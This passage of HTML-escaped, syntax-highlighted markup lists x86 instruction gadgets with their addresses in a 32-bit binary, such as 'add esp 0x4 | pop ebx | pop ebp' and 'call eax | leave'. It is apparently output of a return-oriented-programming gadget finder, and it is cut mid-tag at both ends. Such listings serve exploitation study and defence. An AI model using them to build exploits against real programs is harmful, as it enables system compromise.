159);"&gt;bl&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048735L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;al&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(0, 168, 0);"&gt;0x7f&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;bl&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x804867fL:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;al&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;cl&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;cl&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048373L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;al&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048680L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;al&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x804849eL:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 168, 0);"&gt;0x5d5b04c4&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x804842fL:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(0, 168, 0);"&gt;0x7f&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;bl&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048737L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(0, 168, 0);"&gt;0x7f&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;bl&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x80484a1L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;al&lt;/span&gt; &lt;span style="color: rgb(0, 168, 0);"&gt;0x5b&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048726L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;al&lt;/span&gt; &lt;span style="color: rgb(0, 168, 0);"&gt;0x5b&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x804849cL:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;al&lt;/span&gt; &lt;span style="color: rgb(0, 168, 0);"&gt;0x8&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 168, 0);"&gt;0x5d5b04c4&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x80484cdL:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;al&lt;/span&gt; &lt;span style="color: rgb(0, 168, 0);"&gt;0x8&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;call&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;eax&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048374L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;cl&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;cl&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048681L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;cl&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;cl&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048499L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt; &lt;span style="color: rgb(0, 168, 0);"&gt;0x804a024&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 168, 0);"&gt;0x5d5b04c4&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048440L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt; &lt;span style="color: rgb(0, 168, 0);"&gt;0xffff42e8&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;call&lt;/span&gt;&lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt; far&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;dword&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 168, 0);"&gt;0x5b&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048372L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;cl&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;cl&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x804849fL:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;esp&lt;/span&gt; &lt;span style="color: rgb(0, 168, 0);"&gt;0x4&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048724L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;esp&lt;/span&gt; &lt;span style="color: rgb(0, 168, 0);"&gt;0x4&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x804849aL:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;and&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;al&lt;/span&gt; &lt;span style="color: rgb(0, 168, 0);"&gt;0xa0&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;al&lt;/span&gt; &lt;span style="color: rgb(0, 168, 0);"&gt;0x8&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 168, 0);"&gt;0x5d5b04c4&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;&gt;&lt;/span&gt;0x80484cfL&lt;span style="color: rgb(210, 205, 134);"&gt;:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;call&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;eax&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048445L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;call&lt;/span&gt;&lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt; far&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;dword&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 168, 0);"&gt;0x5b&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048743L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;call&lt;/span&gt;&lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt; far&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;dword&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 168, 0);"&gt;0x5b&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x80486f1L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;fiadd&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;word&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 168, 0);"&gt;0x5e5b1cc4&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;edi&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048511L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;adc&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 168, 0);"&gt;0x10890c55&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;cl&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048677L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;jnz&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;0x80485a1&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt; &lt;span style="color: rgb(0, 168, 0);"&gt;0x0&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048375L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048448L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x80484d1L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048516L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;edx&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x80484c8L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;dword&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;esp&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(0, 168, 0);"&gt;0x8049f1c&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;call&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;eax&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x804867dL:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt; &lt;span style="color: rgb(0, 168, 0);"&gt;0x0&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048371L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;al&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048691L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;esp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x80486faL:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;esp&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048513L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;edx&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;ebp&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 168, 0);"&gt;0xc&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;edx&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048515L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;or&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;al&lt;/span&gt; &lt;span style="color: rgb(0, 168, 0);"&gt;0x89&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;adc&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;cl&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;cl&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(210, 205, 